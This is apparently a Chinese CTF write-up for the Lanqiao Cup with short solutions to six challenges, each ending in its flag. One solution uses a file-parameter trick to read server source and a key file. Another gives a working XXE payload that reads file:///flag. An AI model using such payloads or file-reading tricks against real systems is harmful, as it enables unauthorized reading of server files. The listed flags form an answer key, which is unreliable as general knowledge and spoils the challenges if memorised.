蓝桥杯-WP

黑客密室逃脱

找到字符串d9d1c4d9e0aac2ccc8b162656c5eac9796ab92a88f9e9ba694686692a0999ad5c8dac5a097df696898ae

爆破得name=app.py获得加密函数

访问name=hidden.txt获得密钥secret_key2031，通过python脚本获得flag

import binascii

def decrypt(encrypted_str, secret_key):
    key_ascii = [ord(c) for c in secret_key]
    binary_data = binascii.unhexlify(encrypted_str)
    byte_list = list(binary_data)
    plaintext = bytearray()
    for i in range(len(byte_list)):
        decrypted_byte = byte_list[i] - key_ascii[i % len(key_ascii)]
        plaintext.append(decrypted_byte)
    return plaintext.decode('latin-1')

if __name__ == "__main__":
    encryption_key = "secret_key2031"
    encrypted_sensitive_info = "d9d1c4d9e0aac2ccc8b162656c5eac9796ab92a88f9e9ba694686692a0999ad5c8dac5a097df696898ae"
    plain_text = decrypt(encrypted_sensitive_info, encryption_key)
    print(plain_text)

flag{6cac8059-9239-4036-b83a-47ccff52f78e}

flowzip

提取并解压所有压缩包，然后通过文件查找获得flag文件

flag{c6db63e6-6459-4e75-bb37-3aec5d2b947b}

Enigma

重新进行一次编码获得原始数据

flag{HELLOCTFERTHISISAMESSAGEFORYOU}

ezEvtx

找到警告文件即为敏感文件

flag{confidential.docx}

星际XML解析器

看名字推测是xxe漏洞，直接读flag

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root[
<!ENTITY xxe SYSTEM "file:///flag">
]>
<root>
<data>&xxe;</data>
</root>

flag{f3af2b65-b3c8-4bd7-bdb8-64c069382be8}

ShadowPhases

三段动态调试获得flag

flag{0fa830e7-b699-4513-8e01-51f35b0f3293}